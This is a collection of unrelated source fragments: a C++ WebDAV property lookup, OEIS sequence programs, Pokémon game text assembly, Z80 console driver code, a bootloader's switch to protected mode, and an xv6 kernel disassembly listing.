pszPropBuffer = szLocalPropBuffer;
}
else
{
cchSize = (ulPrefixLength + ulPropertyLength + 2);
if (!MemAlloc((void **)&pszPropBuffer, cchSize * sizeof(pszPropBuffer[0])))
{
hr = E_OUTOFMEMORY;
goto exit;
}
bFreePropBuffer = TRUE;
}
wnsprintf(pszPropBuffer, cchSize, "%s:%s", pszPrefix, pszPropertyName);
// XML parser uppercases everything
CharUpper(pszPropBuffer);
// now that the property name has been created, look for the
// value in the property hash table
if (FAILED(hr = m_shProperties.Find(pszPropBuffer, FALSE, (void **)&pszFoundValue)))
goto exit;
*ppszPropertyValue = PszDupA(pszFoundValue);
if (NULL == *ppszPropertyValue)
hr = E_OUTOFMEMORY;
exit:
if (bFreePropBuffer)
SafeMemFree(pszPropBuffer);
return hr;
}
// --------------------------------------------------------------------------------
// CPropFindResponse::HrInitPropFindResponse
// --------------------------------------------------------------------------------
HRESULT CPropFindResponse::HrInitPropFindResponse(IPropFindRequest *pRequest)
{
if (NULL == pRequest)
return E_INVALIDARG;
IxpAssert(!m_pRequest);
HRESULT hr = S_OK;
m_pRequest = pRequest;
m_pRequest->AddRef();
hr = m_shProperties.Init(17, TRUE);
return hr;
}
// --------------------------------------------------------------------------------
// CPropFindResponse::HrAdoptHref
// --------------------------------------------------------------------------------
HRESULT CPropFindResponse::HrAdoptHref(LPCSTR pszHref)
{
if (NULL == pszHref)
return E_INVALIDARG;
IxpAssert(!m_pszHref);
m_pszHref = pszHref;
return S_OK;
}
// --------------------------------------------------------------------------------
// CPropFindResponse::HrAdoptProperty
// --------------------------------------------------------------------------------
HRESULT CPropFindResponse::HrAdoptProperty(LPCSTR pszKey, LPCSTR pszValue)
{
if (!pszKey || !pszValue)
return E_INVALIDARG;
return m_shProperties.Insert(const_cast<char *>(pszKey), const_cast<char *>(pszValue), NOFLAGS);
}
|
; A140461: Numbers in A008364 but not in A038511.
; Submitted by Jon Maiga
; 1,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97,101,103,107,109,113,127,131,137,139,149,151,157,163,167,173,179,181,191,193,197,199,211,223,227,229,233,239,241,251,257,263,269,271,277,281
seq $0,96489 ; Noncomposite numbers n such that number of decimal digits of n = number of divisors of n.
|
_CeladonMartRoofText_484ee::
text "Give her which"
line "drink?"
done
_CeladonMartRoofText_484f3::
text "Yay!"
para "FRESH WATER!"
para "Thank you!"
para "You can have this"
line "from me!@"
text_end
_CeladonMartRoofText_484f9::
text "<PLAYER> received"
line "@"
text_ram wcf4b
text "!@"
text_end
_CeladonMartRoofText_484fe::
text_start
para "@"
text_ram wcf4b
text " contains"
line "ICE BEAM!"
para "It can freeze the"
line "target sometimes!@"
text_end
_CeladonMartRoofText_48504::
text "Yay!"
para "SODA POP!"
para "Thank you!"
para "You can have this"
line "from me!@"
text_end
_CeladonMartRoofText_4850a::
text "<PLAYER> received"
line "@"
text_ram wcf4b
text "!@"
text_end
_CeladonMartRoofText_4850f::
text_start
para "@"
text_ram wcf4b
text " contains"
line "ROCK SLIDE!"
para "It can spook the"
line "target sometimes!@"
text_end
_CeladonMartRoofText_48515::
text "Yay!"
para "LEMONADE!"
para "Thank you!"
para "You can have this"
line "from me!@"
text_end
_ReceivedTM49Text::
text "<PLAYER> received"
line "TM49!@"
text_end
_CeladonMartRoofText_48520::
text_start
para "TM49 contains"
line "TRI ATTACK!@"
text_end
_CeladonMartRoofText_48526::
text "You don't have"
line "space for this!@"
text_end
_CeladonMartRoofText_4852c::
text "No thank you!"
line "I'm not thirsty"
cont "after all!@"
text_end
_CeladonMartRoofText1::
text "My sister is a"
line "trainer, believe"
cont "it or not."
para "But, she's so"
line "immature, she"
cont "drives me nuts!"
done
_CeladonMartRoofText_48598::
text "I'm thirsty!"
line "I want something"
cont "to drink!"
done
_CeladonMartRoofText4::
text "I'm thirsty!"
line "I want something"
cont "to drink!"
para "Give her a drink?"
done
_CeladonMartRoofText6::
text "ROOFTOP SQUARE:"
line "VENDING MACHINES"
done
_VendingMachineText1::
text "A vending machine!"
line "Here's the menu!"
prompt
_VendingMachineText4::
text "Oops, not enough"
line "money!"
done
_VendingMachineText5::
text_ram wcf4b
text_start
line "popped out!"
done
_VendingMachineText6::
text "There's no more"
line "room for stuff!"
done
_VendingMachineText7::
text "Not thirsty!"
done
|
INCLUDE "config_private.inc"
SECTION code_driver
SECTION code_driver_terminal_output
PUBLIC console_01_output_fzx_oterm_msg_putc
PUBLIC console_01_output_fzx_oterm_msg_putc_raw
EXTERN l_jpix, l_offset_ix_de, asm_fzx_putc
EXTERN __fzx_puts_newline, __fzx_puts_newline_set_y
EXTERN console_01_output_fzx_proc_linefeed
EXTERN console_01_output_fzx_proc_check_scroll
EXTERN __fzx_puts_single_spacing
EXTERN console_01_output_fzx_proc_putchar_scroll
console_01_output_fzx_oterm_msg_putc:
; enter : c = char to output
; can use: af, bc, de, hl
; char to print is coming from stdio
bit 5,(ix+6)
jr z, cooked ; if cook is disabled
; tty emulation is enabled
ld a,OTERM_MSG_TTY
call l_jpix
ret nc ; if tty absorbed char
ld a,c
cp CHAR_BELL
jr nz, cooked
putchar_bell:
ld a,OTERM_MSG_BELL
jp (ix)
cooked:
; c = ascii code
bit 4,(ix+6)
jr z, crlf_done ; if not processing crlf
ld a,c
cp CHAR_CR
ret z ; ignore cr
crlf_done:
console_01_output_fzx_oterm_msg_putc_raw:
; entry for input terminal
; c = ascii code
ld hl,30
call l_offset_ix_de
push hl
ex (sp),ix
; ix = struct fzx_state *
; c = ascii code
; stack = FDSTRUCT.JP *
ld a,c
cp CHAR_LF
jr z, putchar_lf
cp 32
jr nc, putchar_loop ; if printable
ld c,'?'
putchar_loop:
; ix = struct fzx_state *
; c = ascii code
; stack = FDSTRUCT.JP *
push bc
call asm_fzx_putc
pop bc ; c = ascii code
jr nc, putchar_done ; if successful
; char will not fit window
dec a
jr z, vertical ; if char does not fit vertically
horizontal:
; char will not fit horizontally
call console_01_output_fzx_proc_linefeed
jr c, putchar_loop ; if scroll not necessary
jr scroll_it
vertical:
; char will not fit vertically
call __fzx_puts_single_spacing
call console_01_output_fzx_proc_check_scroll
jr c, putchar_loop ; should not happen
scroll_it:
; ix = struct fzx_state *
; c = ascii code
; hl = scroll amount in pixels
; stack = FDSTRUCT.JP *
ex (sp),ix
push bc
; ix = FDSTRUCT.JP *
; hl = scroll amount in pixels
; stack = struct fzx_state *, ascii code
call console_01_output_fzx_proc_putchar_scroll
pop bc
ex (sp),ix
jr putchar_loop
putchar_lf:
; ix = struct fzx_state *
; stack = FDSTRUCT.JP *
call console_01_output_fzx_proc_linefeed
pop ix
ret c ; if scroll unnecessary
; ix = FDSTRUCT.JP *
; hl = scroll amount in pixels
jp console_01_output_fzx_proc_putchar_scroll
putchar_done:
; ix = struct fzx_state *
; stack = FDSTRUCT.JP *
pop ix
ret
|
; void *z80_indr(void *dst, uint16_t port)
SECTION code_clib
SECTION code_z80
PUBLIC _z80_indr
EXTERN asm_z80_indr
_z80_indr:
pop af
pop hl
pop bc
push bc
push hl
push af
jp asm_z80_indr
|
[bits 16]
;; Switch 32bits to Protected Mode.
switch_to_pm:
cli ; Tell the CPU to ignore Interrupts for now.
lgdt [gdt_descriptor] ; Tell the CPU about our GDT.
;; cr0 is a control register, we can't use litterals to set it.
mov eax, cr0 ; Get cr0.
or eax, 0x1 ; Sets the 1st bit
mov cr0, eax ; Update cr0 & Do the switch.
;; Far jump (eg: to a new segment) to our 32bits code.
;; This forces the CPU to flush its cache (of pre-fetched & 16bits real-mode
;; decoded instructions, which can cause problems.
jmp CODE_SEG:init_pm
[bits 32]
init_pm:
mov ax, DATA_SEG ; Makes ax point to our data segment.
mov ds, ax ; Sets all segment register to the data
mov ss, ax ; segment defined in our GDT.
mov es, ax
mov fs, ax
mov gs, ax
mov ebp, 0x90000 ; Update our stack position so it's right
mov esp, ebp ; at the top of the free space.
call begin_pm
|
; A027000: a(n) = Lucas(2n+3) - (6n+4).
; 1,13,54,171,487,1324,3525,9297,24418,64015,167691,439128,1149769,3010261,7881102,20633139,54018415,141422212,370248333,969322905,2537720506,6643838743,17393795859,45537548976,119218851217,312119004829,817138163430,2139295485627,5600748293623,14662949395420,38388099892821,100501350283233,263115950957074,688846502588191,1803423556807707,4721424167835144
mul $0,2
cal $0,23537 ; a(n) = Lucas(n+4) - (3*n+7).
mov $1,$0
|
; A185387: E.g.f. exp(x)+log(1/(1-x)).
; 1,2,2,3,7,25,121,721,5041,40321,362881,3628801,39916801,479001601,6227020801,87178291201,1307674368001,20922789888001,355687428096001,6402373705728001,121645100408832001,2432902008176640001,51090942171709440001,1124000727777607680001,25852016738884976640001,620448401733239439360001,15511210043330985984000001,403291461126605635584000001,10888869450418352160768000001,304888344611713860501504000001,8841761993739701954543616000001,265252859812191058636308480000001,8222838654177922817725562880000001
mov $2,1
lpb $0
sub $0,1
mov $1,$2
mul $2,$0
lpe
add $1,1
mov $0,$1
|
kernel: file format elf32-i386
Disassembly of section .text:
80100000 <multiboot_header>:
80100000: 02 b0 ad 1b 00 00 add 0x1bad(%eax),%dh
80100006: 00 00 add %al,(%eax)
80100008: fe 4f 52 decb 0x52(%edi)
8010000b: e4 .byte 0xe4
8010000c <entry>:
8010000c: 0f 20 e0 mov %cr4,%eax
8010000f: 83 c8 10 or $0x10,%eax
80100012: 0f 22 e0 mov %eax,%cr4
80100015: b8 00 90 10 00 mov $0x109000,%eax
8010001a: 0f 22 d8 mov %eax,%cr3
8010001d: 0f 20 c0 mov %cr0,%eax
80100020: 0d 00 00 01 80 or $0x80010000,%eax
80100025: 0f 22 c0 mov %eax,%cr0
80100028: bc 00 b6 10 80 mov $0x8010b600,%esp
8010002d: b8 b0 31 10 80 mov $0x801031b0,%eax
80100032: ff e0 jmp *%eax
80100034: 66 90 xchg %ax,%ax
80100036: 66 90 xchg %ax,%ax
80100038: 66 90 xchg %ax,%ax
8010003a: 66 90 xchg %ax,%ax
8010003c: 66 90 xchg %ax,%ax
8010003e: 66 90 xchg %ax,%ax
80100040 <binit>:
struct buf head;
} bcache;
void
binit(void)
{
80100040: 55 push %ebp
80100041: 89 e5 mov %esp,%ebp
80100043: 53 push %ebx
//PAGEBREAK!
// Create linked list of buffers
bcache.head.prev = &bcache.head;
bcache.head.next = &bcache.head;
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
80100044: bb 34 b6 10 80 mov $0x8010b634,%ebx
{
80100049: 83 ec 0c sub $0xc,%esp
initlock(&bcache.lock, "bcache");
8010004c: 68 c0 71 10 80 push $0x801071c0
80100051: 68 00 b6 10 80 push $0x8010b600
80100056: e8 b5 44 00 00 call 80104510 <initlock>
bcache.head.prev = &bcache.head;
8010005b: c7 05 4c fd 10 80 fc movl $0x8010fcfc,0x8010fd4c
80100062: fc 10 80
bcache.head.next = &bcache.head;
80100065: c7 05 50 fd 10 80 fc movl $0x8010fcfc,0x8010fd50
8010006c: fc 10 80
8010006f: 83 c4 10 add $0x10,%esp
80100072: ba fc fc 10 80 mov $0x8010fcfc,%edx
80100077: eb 09 jmp 80100082 <binit+0x42>
80100079: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80100080: 89 c3 mov %eax,%ebx
b->next = bcache.head.next;
b->prev = &bcache.head;
initsleeplock(&b->lock, "buffer");
80100082: 8d 43 0c lea 0xc(%ebx),%eax
80100085: 83 ec 08 sub $0x8,%esp
b->next = bcache.head.next;
80100088: 89 53 54 mov %edx,0x54(%ebx)
b->prev = &bcache.head;
8010008b: c7 43 50 fc fc 10 80 movl $0x8010fcfc,0x50(%ebx)
initsleeplock(&b->lock, "buffer");
80100092: 68 c7 71 10 80 push $0x801071c7
80100097: 50 push %eax
80100098: e8 43 43 00 00 call 801043e0 <initsleeplock>
bcache.head.next->prev = b;
8010009d: a1 50 fd 10 80 mov 0x8010fd50,%eax
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
801000a2: 83 c4 10 add $0x10,%esp
801000a5: 89 da mov %ebx,%edx
bcache.head.next->prev = b;
801000a7: 89 58 50 mov %ebx,0x50(%eax)
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
801000aa: 8d 83 5c 02 00 00 lea 0x25c(%ebx),%eax
bcache.head.next = b;
801000b0: 89 1d 50 fd 10 80 mov %ebx,0x8010fd50
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
801000b6: 3d fc fc 10 80 cmp $0x8010fcfc,%eax
801000bb: 72 c3 jb 80100080 <binit+0x40>
}
}
801000bd: 8b 5d fc mov -0x4(%ebp),%ebx
801000c0: c9 leave
801000c1: c3 ret
801000c2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801000c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801000d0 <bread>:
}
// Return a locked buf with the contents of the indicated block.
struct buf*
bread(uint dev, uint blockno)
{
801000d0: 55 push %ebp
801000d1: 89 e5 mov %esp,%ebp
801000d3: 57 push %edi
801000d4: 56 push %esi
801000d5: 53 push %ebx
801000d6: 83 ec 18 sub $0x18,%esp
801000d9: 8b 75 08 mov 0x8(%ebp),%esi
801000dc: 8b 7d 0c mov 0xc(%ebp),%edi
acquire(&bcache.lock);
801000df: 68 00 b6 10 80 push $0x8010b600
801000e4: e8 67 45 00 00 call 80104650 <acquire>
for(b = bcache.head.next; b != &bcache.head; b = b->next){
801000e9: 8b 1d 50 fd 10 80 mov 0x8010fd50,%ebx
801000ef: 83 c4 10 add $0x10,%esp
801000f2: 81 fb fc fc 10 80 cmp $0x8010fcfc,%ebx
801000f8: 75 11 jne 8010010b <bread+0x3b>
801000fa: eb 24 jmp 80100120 <bread+0x50>
801000fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100100: 8b 5b 54 mov 0x54(%ebx),%ebx
80100103: 81 fb fc fc 10 80 cmp $0x8010fcfc,%ebx
80100109: 74 15 je 80100120 <bread+0x50>
if(b->dev == dev && b->blockno == blockno){
8010010b: 3b 73 04 cmp 0x4(%ebx),%esi
8010010e: 75 f0 jne 80100100 <bread+0x30>
80100110: 3b 7b 08 cmp 0x8(%ebx),%edi
80100113: 75 eb jne 80100100 <bread+0x30>
b->refcnt++;
80100115: 83 43 4c 01 addl $0x1,0x4c(%ebx)
80100119: eb 3f jmp 8010015a <bread+0x8a>
8010011b: 90 nop
8010011c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(b = bcache.head.prev; b != &bcache.head; b = b->prev){
80100120: 8b 1d 4c fd 10 80 mov 0x8010fd4c,%ebx
80100126: 81 fb fc fc 10 80 cmp $0x8010fcfc,%ebx
8010012c: 75 0d jne 8010013b <bread+0x6b>
8010012e: eb 60 jmp 80100190 <bread+0xc0>
80100130: 8b 5b 50 mov 0x50(%ebx),%ebx
80100133: 81 fb fc fc 10 80 cmp $0x8010fcfc,%ebx
80100139: 74 55 je 80100190 <bread+0xc0>
if(b->refcnt == 0 && (b->flags & B_DIRTY) == 0) {
8010013b: 8b 43 4c mov 0x4c(%ebx),%eax
8010013e: 85 c0 test %eax,%eax
80100140: 75 ee jne 80100130 <bread+0x60>
80100142: f6 03 04 testb $0x4,(%ebx)
80100145: 75 e9 jne 80100130 <bread+0x60>
b->dev = dev;
80100147: 89 73 04 mov %esi,0x4(%ebx)
b->blockno = blockno;
8010014a: 89 7b 08 mov %edi,0x8(%ebx)
b->flags = 0;
8010014d: c7 03 00 00 00 00 movl $0x0,(%ebx)
b->refcnt = 1;
80100153: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx)
release(&bcache.lock);
8010015a: 83 ec 0c sub $0xc,%esp
8010015d: 68 00 b6 10 80 push $0x8010b600
80100162: e8 a9 45 00 00 call 80104710 <release>
acquiresleep(&b->lock);
80100167: 8d 43 0c lea 0xc(%ebx),%eax
8010016a: 89 04 24 mov %eax,(%esp)
8010016d: e8 ae 42 00 00 call 80104420 <acquiresleep>
80100172: 83 c4 10 add $0x10,%esp
struct buf *b;
b = bget(dev, blockno);
if((b->flags & B_VALID) == 0) {
80100175: f6 03 02 testb $0x2,(%ebx)
80100178: 75 0c jne 80100186 <bread+0xb6>
iderw(b);
8010017a: 83 ec 0c sub $0xc,%esp
8010017d: 53 push %ebx
8010017e: e8 ad 22 00 00 call 80102430 <iderw>
80100183: 83 c4 10 add $0x10,%esp
}
return b;
}
80100186: 8d 65 f4 lea -0xc(%ebp),%esp
80100189: 89 d8 mov %ebx,%eax
8010018b: 5b pop %ebx
8010018c: 5e pop %esi
8010018d: 5f pop %edi
8010018e: 5d pop %ebp
8010018f: c3 ret
panic("bget: no buffers");
80100190: 83 ec 0c sub $0xc,%esp
80100193: 68 ce 71 10 80 push $0x801071ce
80100198: e8 f3 01 00 00 call 80100390 <panic>
8010019d: 8d 76 00 lea 0x0(%esi),%esi
801001a0 <bwrite>:
// Write b's contents to disk. Must be locked.
void
bwrite(struct buf *b)
{
801001a0: 55 push %ebp
801001a1: 89 e5 mov %esp,%ebp
801001a3: 53 push %ebx
801001a4: 83 ec 10 sub $0x10,%esp
801001a7: 8b 5d 08 mov 0x8(%ebp),%ebx
if(!holdingsleep(&b->lock))
801001aa: 8d 43 0c lea 0xc(%ebx),%eax
801001ad: 50 push %eax
801001ae: e8 0d 43 00 00 call 801044c0 <holdingsleep>
801001b3: 83 c4 10 add $0x10,%esp
801001b6: 85 c0 test %eax,%eax
801001b8: 74 0f je 801001c9 <bwrite+0x29>
panic("bwrite");
b->flags |= B_DIRTY;
801001ba: 83 0b 04 orl $0x4,(%ebx)
iderw(b);
801001bd: 89 5d 08 mov %ebx,0x8(%ebp)
}
801001c0: 8b 5d fc mov -0x4(%ebp),%ebx
801001c3: c9 leave
iderw(b);
801001c4: e9 67 22 00 00 jmp 80102430 <iderw>
panic("bwrite");
801001c9: 83 ec 0c sub $0xc,%esp
801001cc: 68 df 71 10 80 push $0x801071df
801001d1: e8 ba 01 00 00 call 80100390 <panic>
801001d6: 8d 76 00 lea 0x0(%esi),%esi
801001d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801001e0 <brelse>:
// Release a locked buffer.
// Move to the head of the MRU list.
void
brelse(struct buf *b)
{
801001e0: 55 push %ebp
801001e1: 89 e5 mov %esp,%ebp
801001e3: 56 push %esi
801001e4: 53 push %ebx
801001e5: 8b 5d 08 mov 0x8(%ebp),%ebx
if(!holdingsleep(&b->lock))
801001e8: 83 ec 0c sub $0xc,%esp
801001eb: 8d 73 0c lea 0xc(%ebx),%esi
801001ee: 56 push %esi
801001ef: e8 cc 42 00 00 call 801044c0 <holdingsleep>
801001f4: 83 c4 10 add $0x10,%esp
801001f7: 85 c0 test %eax,%eax
801001f9: 74 66 je 80100261 <brelse+0x81>
panic("brelse");
releasesleep(&b->lock);
801001fb: 83 ec 0c sub $0xc,%esp
801001fe: 56 push %esi
801001ff: e8 7c 42 00 00 call 80104480 <releasesleep>
acquire(&bcache.lock);
80100204: c7 04 24 00 b6 10 80 movl $0x8010b600,(%esp)
8010020b: e8 40 44 00 00 call 80104650 <acquire>
b->refcnt--;
80100210: 8b 43 4c mov 0x4c(%ebx),%eax
if (b->refcnt == 0) {
80100213: 83 c4 10 add $0x10,%esp
b->refcnt--;
80100216: 83 e8 01 sub $0x1,%eax
if (b->refcnt == 0) {
80100219: 85 c0 test %eax,%eax
b->refcnt--;
8010021b: 89 43 4c mov %eax,0x4c(%ebx)
if (b->refcnt == 0) {
8010021e: 75 2f jne 8010024f <brelse+0x6f>
// no one is waiting for it.
b->next->prev = b->prev;
80100220: 8b 43 54 mov 0x54(%ebx),%eax
80100223: 8b 53 50 mov 0x50(%ebx),%edx
80100226: 89 50 50 mov %edx,0x50(%eax)
b->prev->next = b->next;
80100229: 8b 43 50 mov 0x50(%ebx),%eax
8010022c: 8b 53 54 mov 0x54(%ebx),%edx
8010022f: 89 50 54 mov %edx,0x54(%eax)
b->next = bcache.head.next;
80100232: a1 50 fd 10 80 mov 0x8010fd50,%eax
b->prev = &bcache.head;
80100237: c7 43 50 fc fc 10 80 movl $0x8010fcfc,0x50(%ebx)
b->next = bcache.head.next;
8010023e: 89 43 54 mov %eax,0x54(%ebx)
bcache.head.next->prev = b;
80100241: a1 50 fd 10 80 mov 0x8010fd50,%eax
80100246: 89 58 50 mov %ebx,0x50(%eax)
bcache.head.next = b;
80100249: 89 1d 50 fd 10 80 mov %ebx,0x8010fd50
}
release(&bcache.lock);
8010024f: c7 45 08 00 b6 10 80 movl $0x8010b600,0x8(%ebp)
}
80100256: 8d 65 f8 lea -0x8(%ebp),%esp
80100259: 5b pop %ebx
8010025a: 5e pop %esi
8010025b: 5d pop %ebp
release(&bcache.lock);
8010025c: e9 af 44 00 00 jmp 80104710 <release>
panic("brelse");
80100261: 83 ec 0c sub $0xc,%esp
80100264: 68 e6 71 10 80 push $0x801071e6
80100269: e8 22 01 00 00 call 80100390 <panic>
8010026e: 66 90 xchg %ax,%ax
80100270 <consoleread>:
}
}
int
consoleread(struct inode *ip, char *dst, int n)
{
80100270: 55 push %ebp
80100271: 89 e5 mov %esp,%ebp
80100273: 57 push %edi
80100274: 56 push %esi
80100275: 53 push %ebx
80100276: 83 ec 28 sub $0x28,%esp
80100279: 8b 7d 08 mov 0x8(%ebp),%edi
8010027c: 8b 75 0c mov 0xc(%ebp),%esi
uint target;
int c;
iunlock(ip);
8010027f: 57 push %edi
80100280: e8 eb 17 00 00 call 80101a70 <iunlock>
target = n;
acquire(&cons.lock);
80100285: c7 04 24 60 a5 10 80 movl $0x8010a560,(%esp)
8010028c: e8 bf 43 00 00 call 80104650 <acquire>
while(n > 0){
80100291: 8b 5d 10 mov 0x10(%ebp),%ebx
80100294: 83 c4 10 add $0x10,%esp
80100297: 31 c0 xor %eax,%eax
80100299: 85 db test %ebx,%ebx
8010029b: 0f 8e a1 00 00 00 jle 80100342 <consoleread+0xd2>
while(input.r == input.w){
801002a1: 8b 15 e0 ff 10 80 mov 0x8010ffe0,%edx
801002a7: 39 15 e4 ff 10 80 cmp %edx,0x8010ffe4
801002ad: 74 2c je 801002db <consoleread+0x6b>
801002af: eb 5f jmp 80100310 <consoleread+0xa0>
801002b1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(myproc()->killed){
release(&cons.lock);
ilock(ip);
return -1;
}
sleep(&input.r, &cons.lock);
801002b8: 83 ec 08 sub $0x8,%esp
801002bb: 68 60 a5 10 80 push $0x8010a560
801002c0: 68 e0 ff 10 80 push $0x8010ffe0
801002c5: e8 c6 3d 00 00 call 80104090 <sleep>
while(input.r == input.w){
801002ca: 8b 15 e0 ff 10 80 mov 0x8010ffe0,%edx
801002d0: 83 c4 10 add $0x10,%esp
801002d3: 3b 15 e4 ff 10 80 cmp 0x8010ffe4,%edx
801002d9: 75 35 jne 80100310 <consoleread+0xa0>
if(myproc()->killed){
801002db: e8 10 38 00 00 call 80103af0 <myproc>
801002e0: 8b 40 24 mov 0x24(%eax),%eax
801002e3: 85 c0 test %eax,%eax
801002e5: 74 d1 je 801002b8 <consoleread+0x48>
release(&cons.lock);
801002e7: 83 ec 0c sub $0xc,%esp
801002ea: 68 60 a5 10 80 push $0x8010a560
801002ef: e8 1c 44 00 00 call 80104710 <release>
ilock(ip);
801002f4: 89 3c 24 mov %edi,(%esp)
801002f7: e8 94 16 00 00 call 80101990 <ilock>
return -1;
801002fc: 83 c4 10 add $0x10,%esp
}
release(&cons.lock);
ilock(ip);
return target - n;
}
801002ff: 8d 65 f4 lea -0xc(%ebp),%esp
return -1;
80100302: b8 ff ff ff ff mov $0xffffffff,%eax
}
80100307: 5b pop %ebx
80100308: 5e pop %esi
80100309: 5f pop %edi
8010030a: 5d pop %ebp
8010030b: c3 ret
8010030c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
c = input.buf[input.r++ % INPUT_BUF];
80100310: 8d 42 01 lea 0x1(%edx),%eax
80100313: a3 e0 ff 10 80 mov %eax,0x8010ffe0
80100318: 89 d0 mov %edx,%eax
8010031a: 83 e0 7f and $0x7f,%eax
8010031d: 0f be 80 60 ff 10 80 movsbl -0x7fef00a0(%eax),%eax
if(c == C('D')){ // EOF
80100324: 83 f8 04 cmp $0x4,%eax
80100327: 74 3f je 80100368 <consoleread+0xf8>
*dst++ = c;
80100329: 83 c6 01 add $0x1,%esi
--n;
8010032c: 83 eb 01 sub $0x1,%ebx
if(c == '\n')
8010032f: 83 f8 0a cmp $0xa,%eax
*dst++ = c;
80100332: 88 46 ff mov %al,-0x1(%esi)
if(c == '\n')
80100335: 74 43 je 8010037a <consoleread+0x10a>
while(n > 0){
80100337: 85 db test %ebx,%ebx
80100339: 0f 85 62 ff ff ff jne 801002a1 <consoleread+0x31>
8010033f: 8b 45 10 mov 0x10(%ebp),%eax
release(&cons.lock);
80100342: 83 ec 0c sub $0xc,%esp
80100345: 89 45 e4 mov %eax,-0x1c(%ebp)
80100348: 68 60 a5 10 80 push $0x8010a560
8010034d: e8 be 43 00 00 call 80104710 <release>
ilock(ip);
80100352: 89 3c 24 mov %edi,(%esp)
80100355: e8 36 16 00 00 call 80101990 <ilock>
return target - n;
8010035a: 8b 45 e4 mov -0x1c(%ebp),%eax
8010035d: 83 c4 10 add $0x10,%esp
}
80100360: 8d 65 f4 lea -0xc(%ebp),%esp
80100363: 5b pop %ebx
80100364: 5e pop %esi
80100365: 5f pop %edi
80100366: 5d pop %ebp
80100367: c3 ret
80100368: 8b 45 10 mov 0x10(%ebp),%eax
8010036b: 29 d8 sub %ebx,%eax
if(n < target){
8010036d: 3b 5d 10 cmp 0x10(%ebp),%ebx
80100370: 73 d0 jae 80100342 <consoleread+0xd2>
input.r--;
80100372: 89 15 e0 ff 10 80 mov %edx,0x8010ffe0
80100378: eb c8 jmp 80100342 <consoleread+0xd2>
8010037a: 8b 45 10 mov 0x10(%ebp),%eax
8010037d: 29 d8 sub %ebx,%eax
8010037f: eb c1 jmp 80100342 <consoleread+0xd2>
80100381: eb 0d jmp 80100390 <panic>
80100383: 90 nop
80100384: 90 nop
80100385: 90 nop
80100386: 90 nop
80100387: 90 nop
80100388: 90 nop
80100389: 90 nop
8010038a: 90 nop
8010038b: 90 nop
8010038c: 90 nop
8010038d: 90 nop
8010038e: 90 nop
8010038f: 90 nop
80100390 <panic>:
{
80100390: 55 push %ebp
80100391: 89 e5 mov %esp,%ebp
80100393: 56 push %esi
80100394: 53 push %ebx
80100395: 83 ec 30 sub $0x30,%esp
}
static inline void
cli(void)
{
asm volatile("cli");
80100398: fa cli
cons.locking = 0;
80100399: c7 05 94 a5 10 80 00 movl $0x0,0x8010a594
801003a0: 00 00 00
getcallerpcs(&s, pcs);
801003a3: 8d 5d d0 lea -0x30(%ebp),%ebx
801003a6: 8d 75 f8 lea -0x8(%ebp),%esi
cprintf("lapicid %d: panic: ", lapicid());
801003a9: e8 92 26 00 00 call 80102a40 <lapicid>
801003ae: 83 ec 08 sub $0x8,%esp
801003b1: 50 push %eax
801003b2: 68 ed 71 10 80 push $0x801071ed
801003b7: e8 a4 02 00 00 call 80100660 <cprintf>
cprintf(s);
801003bc: 58 pop %eax
801003bd: ff 75 08 pushl 0x8(%ebp)
801003c0: e8 9b 02 00 00 call 80100660 <cprintf>
cprintf("\n");
801003c5: c7 04 24 37 7b 10 80 movl $0x80107b37,(%esp)
801003cc: e8 8f 02 00 00 call 80100660 <cprintf>
getcallerpcs(&s, pcs);
801003d1: 5a pop %edx
801003d2: 8d 45 08 lea 0x8(%ebp),%eax
801003d5: 59 pop %ecx
801003d6: 53 push %ebx
801003d7: 50 push %eax
801003d8: e8 53 41 00 00 call 80104530 <getcallerpcs>
801003dd: 83 c4 10 add $0x10,%esp
cprintf(" %p", pcs[i]);
801003e0: 83 ec 08 sub $0x8,%esp
801003e3: ff 33 pushl (%ebx)
801003e5: 83 c3 04 add $0x4,%ebx
801003e8: 68 01 72 10 80 push $0x80107201
801003ed: e8 6e 02 00 00 call 80100660 <cprintf>
for(i=0; i<10; i++)
801003f2: 83 c4 10 add $0x10,%esp
801003f5: 39 f3 cmp %esi,%ebx
801003f7: 75 e7 jne 801003e0 <panic+0x50>
panicked = 1; // freeze other CPU
801003f9: c7 05 98 a5 10 80 01 movl $0x1,0x8010a598
80100400: 00 00 00
80100403: eb fe jmp 80100403 <panic+0x73>
80100405: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100409: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80100410 <consputc>:
if(panicked){
80100410: 8b 0d 98 a5 10 80 mov 0x8010a598,%ecx
80100416: 85 c9 test %ecx,%ecx
80100418: 74 06 je 80100420 <consputc+0x10>
8010041a: fa cli
8010041b: eb fe jmp 8010041b <consputc+0xb>
8010041d: 8d 76 00 lea 0x0(%esi),%esi
{
80100420: 55 push %ebp
80100421: 89 e5 mov %esp,%ebp
80100423: 57 push %edi
80100424: 56 push %esi
80100425: 53 push %ebx
80100426: 89 c6 mov %eax,%esi
80100428: 83 ec 0c sub $0xc,%esp
if(c == BACKSPACE){
8010042b: 3d 00 01 00 00 cmp $0x100,%eax
80100430: 0f 84 b1 00 00 00 je 801004e7 <consputc+0xd7>
uartputc(c);
80100436: 83 ec 0c sub $0xc,%esp
80100439: 50 push %eax
8010043a: e8 91 59 00 00 call 80105dd0 <uartputc>
8010043f: 83 c4 10 add $0x10,%esp
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80100442: bb d4 03 00 00 mov $0x3d4,%ebx
80100447: b8 0e 00 00 00 mov $0xe,%eax
8010044c: 89 da mov %ebx,%edx
8010044e: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
